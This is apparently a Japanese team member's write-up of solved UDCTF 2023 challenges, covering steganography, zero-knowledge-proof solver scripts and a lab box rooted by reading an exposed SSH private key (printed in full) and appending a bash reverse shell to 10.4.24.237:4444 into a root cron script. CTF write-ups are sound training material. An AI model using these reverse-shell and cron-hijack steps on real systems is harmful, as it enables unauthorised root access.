この大会は2023/10/28 4:00(JST)~2023/10/30 4:00(JST)に開催されました。
今回もチームで参戦。結果は9459点で435チーム中21位でした。
自分で解けた問題をWriteupとして書いておきます。
Join Our Discord (MISC)
Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。
UDCTF{l3t_th3_g4me5_b3g1n}
Big JPG (MISC)
$ binwalk big-image.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 364 0x16C Copyright string: "Copyright (c) 1998 Hewlett-Packard Company" 394730 0x605EA xz compressed data jpgの後ろにxzがくっついている。 $ binwalk big-image.jpg -e DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 364 0x16C Copyright string: "Copyright (c) 1998 Hewlett-Packard Company" 394730 0x605EA xz compressed data $ file _big-image.jpg.extracted/605EA _big-image.jpg.extracted/605EA: POSIX tar archive (GNU) $ tar xvf _big-image.jpg.extracted/605EA -C . flag.jpg key.png $ zsteg key.png imagedata .. text: "???***000>>>" b1,rgb,lsb,xy .. text: "'[password: uR_aLmOsT_tHeRe]'" b4,b,msb,xy .. file: MPEG ADTS, layer I, v2, JntStereo
パスワードがわかったので、steghideで秘密データを抽出する。
$ steghide extract -sf flag.jpg -p uR_aLmOsT_tHeRe wrote extracted data to "flag.txt". $ cat flag.txt UDCTF{lay3r5_0n_lay3r5}
UDCTF{lay3r5_0n_lay3r5}
Simp 1/2 (MISC)
$ nmap -p- --min-rate 5000 10.10.147.129 Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 21:38 JST Warning: 10.10.147.129 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.147.129 Host is up (0.39s latency). Not shown: 59572 closed tcp ports (conn-refused), 5961 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 8000/tcp open http-alt Nmap done: 1 IP address (1 host up) scanned in 70.73 seconds $ nmap -sC -sV -p 22,8000 10.10.147.129 Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 21:40 JST Nmap scan report for 10.10.147.129 Host is up (0.39s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 d9:c2:f5:2e:1c:7d:bc:29:96:ff:d2:f3:d9:a0:6b:e9 (RSA) | 256 34:f1:eb:46:bc:b5:ce:2e:fa:9a:b6:fb:1d:71:67:31 (ECDSA) |_ 256 e0:0d:7a:44:2c:9c:a0:3d:ca:c4:75:da:1b:0c:3d:ac (ED25519) 8000/tcp open http SimpleHTTPServer 0.6 (Python 3.8.5) |_http-server-header: SimpleHTTP/0.6 Python/3.8.5 |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.04 seconds $ gobuster dir -u http://10.10.147.129:8000/ -w /usr/share/wordlists/dirb/common.txt -x txt,pdf,php =============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.147.129:8000/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.5 [+] Extensions: txt,pdf,php [+] Timeout: 10s =============================================================== 2023/10/28 21:45:50 Starting gobuster in directory enumeration mode =============================================================== /.bashrc (Status: 200) [Size: 3771] /.cache (Status: 301) [Size: 0] [--> /.cache/] /.profile (Status: 200) [Size: 807] /.ssh (Status: 301) [Size: 0] [--> /.ssh/] /flag.txt (Status: 200) [Size: 28] /index.html (Status: 200) [Size: 552] Progress: 18456 / 18460 (99.98%) =============================================================== 2023/10/28 22:09:16 Finished ===============================================================
ホームディレクトリ直下が見えているっぽい。
$ curl http://10.10.147.129:8000/.ssh/id_rsa -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY----- $ wget http://10.10.147.129:8000/.ssh/id_rsa --2023-10-28 21:48:25-- http://10.10.147.129:8000/.ssh/id_rsa Connecting to 10.10.147.129:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 2622 (2.6K) [application/octet-stream] Saving to: ‘id_rsa’ id_rsa 100%[=====================================>] 2.56K --.-KB/s in 0s 2023-10-28 21:48:26 (246 MB/s) - ‘id_rsa’ saved [2622/2622] $ chmod 600 id_rsa
$ ssh -i id_rsa dave@10.10.147.129 The authenticity of host '10.10.147.129 (10.10.147.129)' can't be established. ED25519 key fingerprint is SHA256:BidMEer4FwrQ9lCV/BQeDXJG5Cyjvw4XWvXrlMqfW1o. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.147.129' (ED25519) to the list of known hosts. Last login: Tue Oct 17 22:49:05 2023 $ id uid=1001(dave) gid=1001(dave) groups=1001(dave) $ ls flag.txt index.html send_logs.py $ cat flag.txt UDCTF{oh_no_say_it_a!nt_s0}
UDCTF{oh_no_say_it_a!nt_s0}
Simp 2/2 (MISC)
自マシン(10.4.24.237)上で以下を実行
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
ターゲット上で以下を実行し、pspy64をアップロードし、実行する。これによって、プロセスをモニタリングし、怪しいプロセスがないか確認する。
$ wget http://10.4.24.237/pspy64 --2023-10-28 13:14:39-- http://10.4.24.237/pspy64 Connecting to 10.4.24.237:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3104768 (3.0M) [application/octet-stream] Saving to: ‘pspy64’ pspy64 100%[=====================================>] 2.96M 678KB/s in 6.9s 2023-10-28 13:14:47 (441 KB/s) - ‘pspy64’ saved [3104768/3104768] $ chmod +x pspy64 $ ./pspy64 pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░ ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2023/10/28 13:15:52 CMD: UID=1001 PID=35269 | ./pspy64 2023/10/28 13:15:52 CMD: UID=0 PID=35267 | 2023/10/28 13:15:52 CMD: UID=0 PID=35198 | 2023/10/28 13:15:52 CMD: UID=1001 PID=19366 | /usr/bin/gpg-agent --supervised 2023/10/28 13:15:52 CMD: UID=0 PID=12106 | 2023/10/28 13:15:52 CMD: UID=0 PID=10816 | 2023/10/28 13:15:52 CMD: UID=1001 PID=5186 | -sh 2023/10/28 13:15:52 CMD: UID=1001 PID=5174 | sshd: dave@pts/0 2023/10/28 13:15:52 CMD: UID=1001 PID=4990 | (sd-pam) 2023/10/28 13:15:52 CMD: UID=1001 PID=4989 | /lib/systemd/systemd --user 2023/10/28 13:15:52 CMD: UID=0 PID=4899 | sshd: dave [priv] 2023/10/28 13:15:52 CMD: UID=0 PID=727 | /sbin/agetty -o -p -- \u --noclear tty1 linux 2023/10/28 13:15:52 CMD: UID=0 PID=719 | /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220 2023/10/28 13:15:52 CMD: UID=0 PID=718 | /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal 2023/10/28 13:15:52 CMD: UID=0 PID=716 | /usr/lib/policykit-1/polkitd --no-debug 2023/10/28 13:15:52 CMD: UID=0 PID=709 | /usr/sbin/ifplugd -i eth0 -q -f -u0 -d10 -w -I 2023/10/28 13:15:52 CMD: UID=0 PID=693 | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 2023/10/28 13:15:52 CMD: UID=1 PID=690 | /usr/sbin/atd -f 2023/10/28 13:15:52 CMD: UID=0 PID=673 | /usr/sbin/cron -f 2023/10/28 13:15:52 CMD: UID=0 PID=660 | /usr/bin/amazon-ssm-agent 2023/10/28 13:15:52 CMD: UID=0 PID=560 | /lib/systemd/systemd-logind 2023/10/28 13:15:52 CMD: UID=104 PID=557 | /usr/sbin/rsyslogd -n -iNONE 2023/10/28 13:15:52 CMD: UID=0 PID=548 | /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers 2023/10/28 13:15:52 CMD: UID=0 PID=546 | /bin/python3 -m http.server -d /home/dave 2023/10/28 13:15:52 CMD: UID=103 PID=528 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 2023/10/28 13:15:52 CMD: UID=0 PID=527 | /usr/lib/accountsservice/accounts-daemon 2023/10/28 13:15:52 CMD: UID=0 PID=508 | /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0 2023/10/28 13:15:52 CMD: UID=0 PID=489 | /usr/sbin/haveged --Foreground --verbose=1 -w 1024 2023/10/28 13:15:52 CMD: UID=0 PID=484 | 2023/10/28 13:15:52 CMD: UID=101 PID=481 | /lib/systemd/systemd-resolved 2023/10/28 13:15:52 CMD: UID=0 PID=461 | 2023/10/28 13:15:52 CMD: UID=0 PID=460 | 2023/10/28 13:15:52 CMD: UID=0 PID=448 | /sbin/multipathd -d -s 2023/10/28 13:15:52 CMD: UID=0 PID=447 | 2023/10/28 13:15:52 CMD: UID=0 PID=446 | 2023/10/28 13:15:52 CMD: UID=0 PID=445 | 2023/10/28 13:15:52 CMD: UID=0 PID=444 | 2023/10/28 13:15:52 CMD: UID=100 PID=355 | /lib/systemd/systemd-networkd 2023/10/28 13:15:52 CMD: UID=0 PID=349 | /lib/systemd/systemd-udevd 2023/10/28 13:15:52 CMD: UID=0 PID=327 | /lib/systemd/systemd-journald 2023/10/28 13:15:52 CMD: UID=0 PID=268 | 2023/10/28 13:15:52 CMD: UID=0 PID=267 | 2023/10/28 13:15:52 CMD: UID=0 PID=216 | 2023/10/28 13:15:52 CMD: UID=0 PID=156 | 2023/10/28 13:15:52 CMD: UID=0 PID=121 | 2023/10/28 13:15:52 CMD: UID=0 PID=120 | 2023/10/28 13:15:52 CMD: UID=0 PID=107 | 2023/10/28 13:15:52 CMD: UID=0 PID=104 | 2023/10/28 13:15:52 CMD: UID=0 PID=94 | 2023/10/28 13:15:52 CMD: UID=0 PID=93 | 2023/10/28 13:15:52 CMD: UID=0 PID=91 | 2023/10/28 13:15:52 CMD: UID=0 PID=90 | 2023/10/28 13:15:52 CMD: UID=0 PID=89 | 2023/10/28 13:15:52 CMD: UID=0 PID=88 | 2023/10/28 13:15:52 CMD: UID=0 PID=87 | 2023/10/28 13:15:52 CMD: UID=0 PID=86 | 2023/10/28 13:15:52 CMD: UID=0 PID=84 | 2023/10/28 13:15:52 CMD: UID=0 PID=83 | 2023/10/28 13:15:52 CMD: UID=0 PID=79 | 2023/10/28 13:15:52 CMD: UID=0 PID=78 | 2023/10/28 13:15:52 CMD: UID=0 PID=77 | 2023/10/28 13:15:52 CMD: UID=0 PID=76 | 2023/10/28 13:15:52 CMD: UID=0 PID=75 | 2023/10/28 13:15:52 CMD: UID=0 PID=74 | 2023/10/28 13:15:52 CMD: UID=0 PID=73 | 2023/10/28 13:15:52 CMD: UID=0 PID=72 | 2023/10/28 13:15:52 CMD: UID=0 PID=71 | 2023/10/28 13:15:52 CMD: UID=0 PID=25 | 2023/10/28 13:15:52 CMD: UID=0 PID=24 | 2023/10/28 13:15:52 CMD: UID=0 PID=23 | 2023/10/28 13:15:52 CMD: UID=0 PID=22 | 2023/10/28 13:15:52 CMD: UID=0 PID=21 | 2023/10/28 13:15:52 CMD: UID=0 PID=20 | 2023/10/28 13:15:52 CMD: UID=0 PID=19 | 2023/10/28 13:15:52 CMD: UID=0 PID=18 | 2023/10/28 13:15:52 CMD: UID=0 PID=17 | 2023/10/28 13:15:52 CMD: UID=0 PID=16 | 2023/10/28 13:15:52 CMD: UID=0 PID=15 | 2023/10/28 13:15:52 CMD: UID=0 PID=14 | 2023/10/28 13:15:52 CMD: UID=0 PID=13 | 2023/10/28 13:15:52 CMD: UID=0 PID=12 | 2023/10/28 13:15:52 CMD: UID=0 PID=11 | 2023/10/28 13:15:52 CMD: UID=0 PID=10 | 2023/10/28 13:15:52 CMD: UID=0 PID=9 | 2023/10/28 13:15:52 CMD: UID=0 PID=6 | 2023/10/28 13:15:52 CMD: UID=0 PID=4 | 2023/10/28 13:15:52 CMD: UID=0 PID=3 | 2023/10/28 13:15:52 CMD: UID=0 PID=2 | 2023/10/28 13:15:52 CMD: UID=0 PID=1 | /sbin/init 2023/10/28 13:16:01 CMD: UID=0 PID=35277 | /usr/sbin/CRON -f 2023/10/28 13:16:01 CMD: UID=0 PID=35279 | /bin/python3 /home/dave/send_logs.py 2023/10/28 13:16:01 CMD: UID=0 PID=35278 | /bin/sh -c /bin/python3 /home/dave/send_logs.py 2023/10/28 13:16:01 CMD: UID=0 PID=35280 | /bin/python3 /home/dave/send_logs.py 2023/10/28 13:16:01 CMD: UID=0 PID=35281 | sh -c md5sum /etc/passwd > /tmp/integrity.txt 2023/10/28 13:16:01 CMD: UID=0 PID=35282 | /bin/python3 /home/dave/send_logs.py 2023/10/28 13:16:01 CMD: UID=0 PID=35283 | sh -c md5sum /etc/shadow >> /tmp/integrity.txt 2023/10/28 13:16:01 CMD: UID=0 PID=35284 | /bin/python3 /home/dave/send_logs.py 2023/10/28 13:16:01 CMD: UID=0 PID=35285 | sh -c curl -F "data=@/tmp/integrity.txt" https://corpo-integrity.serv:9001 ^Z[1] + Stopped ./pspy64
send_logs.pyのプロセスはrootで実行しているようだ。中を確認してみる。
$ cat send_logs.py import os os.system('md5sum /etc/passwd > /tmp/integrity.txt') os.system('md5sum /etc/shadow >> /tmp/integrity.txt') os.system('curl -F "data=@/tmp/integrity.txt" https://corpo-integrity.serv:9001')
これにリバースシェルのコマンド実行するコードを追加する。
$ vi send_logs.py
以下を末尾の行に追加。
os.system('bash -c "bash -i >& /dev/tcp/10.4.24.237/4444 0>&1"')
$ cat send_logs.py import os os.system('md5sum /etc/passwd > /tmp/integrity.txt') os.system('md5sum /etc/shadow >> /tmp/integrity.txt') os.system('curl -F "data=@/tmp/integrity.txt" https://corpo-integrity.serv:9001') os.system('bash -c "bash -i >& /dev/tcp/10.4.24.237/4444 0>&1"')
自マシン(10.4.24.237)上で以下を実行
$ nc -nvlp 4444 listening on [any] 4444 ...
しばらく待つと、接続が来た。
$ nc -nvlp 4444 listening on [any] 4444 ... connect to [10.4.24.237] from (UNKNOWN) [10.10.147.129] 50366 bash: cannot set terminal process group (35464): Inappropriate ioctl for device bash: no job control in this shell root@ubuntu2004:~# id id uid=0(root) gid=0(root) groups=0(root) root@ubuntu2004:~# cd /root cd /root root@ubuntu2004:~# ls ls flag.txt root@ubuntu2004:~# cat flag.txt cat flag.txt UDCTF{yawn_yawn_cron_jawn}
UDCTF{yawn_yawn_cron_jawn}
Least Significant Color (MISC)
左上から横方向に赤と緑の値のXORのLSBを結合し、2進数としてデコードする。
#!/usr/bin/env python3 from PIL import Image img = Image.open('encoded.png').convert('RGB') w, h = img.size output_img = Image.new('RGB', (w, h), (255, 255, 255)) bin_data = '' for y in range(h): for x in range(w): r, g, b = img.getpixel((x, y)) bin_data += str((r ^ g) & 1) flag = '' for i in range(0, len(bin_data), 8): b = bin_data[i:i+8] flag += chr(int(b, 2)) if flag[-1] == '}': break print(flag)
UDCTF{y0u_R_1mag3_wizZarD}
Defective Server (ZERO-KNOWLEDGE-PROOF)
ひたすら0を答えていけば条件を満たす。
#!/usr/bin/env python3 import socket from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) CHALLENGES = [1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('0.cloud.chals.io', 19523)) for challenge in CHALLENGES: rsq = 0 print(rsq) s.sendall(str(rsq).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) answer = 0 print(answer) s.sendall(str(answer).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
: 0 1 0 0 1 0 0 0 0 UDCTF{W3lc0m3_t0_0_kn0wledge_pr0of5}
UDCTF{W3lc0m3_t0_0_kn0wledge_pr0of5}
Modular Authenticator (ZERO-KNOWLEDGE-PROOF)
サーバの処理概要は以下の通り。
・pid = os.getpid() ・RAND = random.SystemRandom() ・ROUNDS = 128 ・public_key: public_key.jsonをJSONデータとしてパース ・p = public_key["p"] ・ssq = public_key["s^e"] ・e = public_key['e'] ・authenticate(ROUNDS,ssq,e,p) ・squares = get_inputs(rounds,2,p-2) ・data: 入力したものをJSONデータとしてパース ・dataの各キーが2以上p-2以下である必要あり ・dataを返却 ・requests: "r","rs"からランダムにROUNDS個選択したものの配列 ・requestsを表示 ・responses = get_inputs(rounds,2,p-2) ・data: 入力したものをJSONデータとしてパース ・dataの各キーが2以上p-2以下である必要あり ・dataを返却 ・requests,responses,squaresの各データexpected, response, rsqについて以下を実行 ・expectedが"r"の場合、pow(response,e,p)がrsqと同じである必要あり ・expectedが"rs"の場合、pow(response,e,p)が(rsq * ssq) % pと同じである必要あり ・フラグを表示
eは2**256。rsqを2と置き、Tonelli-Shanks Algorithmを使って、rsq、rsq*ssqの平方剰余を256回実行し、responseを求めておけば、条件を満たすデータを送信できる。
#!/usr/bin/env python3 import socket import json def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def legendre(a, p): return pow(a, (p - 1) // 2, p) def tonelli_shanks(a, p): if legendre(a, p) != 1: raise Exception("not a square (mod p)") q = p - 1 s = 0 while q % 2 == 0: q >>= 1 s += 1 for z in range(2, p): if legendre(z, p) == p - 1: break m = s c = pow(z, q, p) t = pow(a, q, p) r = pow(a, (q + 1) // 2, p) t2 = 0 while True: if t == 0: return 0 if t == 1: return r t2 = (t * t) % p for i in range(1, m): if t2 % p == 1: break t2 = (t2 * t2) % p b = pow(c, 1 << (m - i - 1), p) m = i c = (b * b) % p t = (t * c) % p r = (r * b) % p ROUNDS = 128 with open('public_key.json', 'r') as f: public_key=json.loads(f.read()) p = public_key['p'] ssq = public_key['s^e'] e = public_key['e'] rsq = 2 m = rsq for _ in range(256): m = tonelli_shanks(m, p) response_r = m assert pow(response_r, e, p) == rsq m = (rsq * ssq) % p for _ in range(256): m = tonelli_shanks(m, p) response_rs = m assert pow(response_rs, e, p) == (rsq * ssq) % p s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('0.cloud.chals.io', 14202)) squares = str([2] * ROUNDS) print(squares) s.sendall(squares.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) requests = eval(data) responses = [] for expected in requests: if expected == 'r': responses.append(response_r) else: responses.append(response_rs) responses = str(responses) print(responses) s.sendall(responses.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2] ["r", "r", "rs", "r", "rs", "r", "rs", "rs", "r", "r", "r", "r", "r", "rs", "rs", "r", "rs", "r", "rs", "r", "r", "rs", "r", "rs", "rs", "rs", "r", "r", "r", "r", "r", "rs", "rs", "r", "rs", "rs", "r", "r", "r", "r", "r", "r", "rs", "r", "r", "rs", "rs", "r", "rs", "r", "r", "rs", "r", "r", "r", "r", "rs", "rs", "rs", "rs", "r", "r", "r", "r", "rs", "r", "r", "rs", "r", "rs", "r", "r", "r", "rs", "r", "r", "r", "rs", "rs", "r", "r", "rs", "r", "r", "r", "rs", "r", "r", "r", "rs", "rs", "rs", "r", "rs", "rs", "rs", "rs", "rs", "r", "rs", "rs", "r", "rs", "rs", "r", "rs", "rs", "r", "r", "r", "rs", "rs", "rs", "rs", "r", "r", "rs", "r", "r", "rs", "r", "r", "rs", "r", "r", "r", "rs", "r"] [7379438307038400191927255947724462702161911899749410951243937264037905573862564887975130690407327618863623924296706413637868117956425659087547218452152621927889704113682533795977084238361103313888052766507987529075276310648848380951095376422731340131698162550580131745400180840398246207712841521155349702493926933327844275697749300293237740514289516948755523558502874954380259031211581657330241777711263364306980118260847664852618290776095327359950203741860781887417289877280772580529648591548441942639401075202981665948597541477979803851348575914902349877897763035092418375411896101150124865661631309144910206722660, 7379438307038400191927255947724462702161911899749410951243937264037905573862564887975130690407327618863623924296706413637868117956425659087547218452152621927889704113682533795977084238361103313888052766507987529075276310648848380951095376422731340131698162550580131745400180840398246207712841521155349702493926933327844275697749300293237740514289516948755523558502874954380259031211581657330241777711263364306980118260847664852618290776095327359950203741860781887417289877280772580529648591548441942639401075202981665948597541477979803851348575914902349877897763035092418375411896101150124865661631309144910206722660, 832168985343566491327616919139966067828651273699139193178114969884345414280843318288487506543049804946078969399502048206964905081084783445885861963915590439826059774476881765232986298378313961671197147331082349633329921971993788226380306095823500835647221163295397690333876424381749750998512227030556145586309920922307723281503266094323368820258138268699019145052047255298028938339398682564815915047083647094797810939573814271543745272751997520838344109665028652784813414740403695270903301279632909922471348914100814137365218927549716231621399455620361640808073887368754194526115620264791129055452672825619066220333, 7379438307038400191927255947724462702161911899749410951243937264037905573862564887975130690407327618863623924296706413637868117956425659087547218452152621927889704113682533795977084238361103313888052766507987529075276310648848380951095376422731340131698162550580131745400180840398246207712841521155349702493926933327844275697749300293237740514289516948755523558502874954380259031211581657330241777711263364306980118260847664852618290776095327359950203741860781887417289877280772580529648591548441942639401075202981665948597541477979803851348575914902349877897763035092418375411896101150124865661631309144910206722660, 832168985343566491327616919139966067828651273699139193178114969884345414280843318288487506543049804946078969399502048206964905081084783445885861963915590439826059774476881765232986298378313961671197147331082349633329921971993788226380306095823500835647221163295397690333876424381749750998512227030556145586309920922307723281503266094323368820258138268699019145052047255298028938339398682564815915047083647094797810939573814271543745272751997520838344109665028652784813414740403695270903301279632909922471348914100814137365218927549716231621399455620361640808073887368754194526115620264791129055452672825619066220333, ..., 7379438307038400191927255947724462702161911899749410951243937264037905573862564887975130690407327618863623924296706413637868117956425659087547218452152621927889704113682533795977084238361103313888052766507987529075276310648848380951095376422731340131698162550580131745400180840398246207712841521155349702493926933327844275697749300293237740514289516948755523558502874954380259031211581657330241777711263364306980118260847664852618290776095327359950203741860781887417289877280772580529648591548441942639401075202981665948597541477979803851348575914902349877897763035092418375411896101150124865661631309144910206722660, 832168985343566491327616919139966067828651273699139193178114969884345414280843318288487506543049804946078969399502048206964905081084783445885861963915590439826059774476881765232986298378313961671197147331082349633329921971993788226380306095823500835647221163295397690333876424381749750998512227030556145586309920922307723281503266094323368820258138268699019145052047255298028938339398682564815915047083647094797810939573814271543745272751997520838344109665028652784813414740403695270903301279632909922471348914100814137365218927549716231621399455620361640808073887368754194526115620264791129055452672825619066220333, 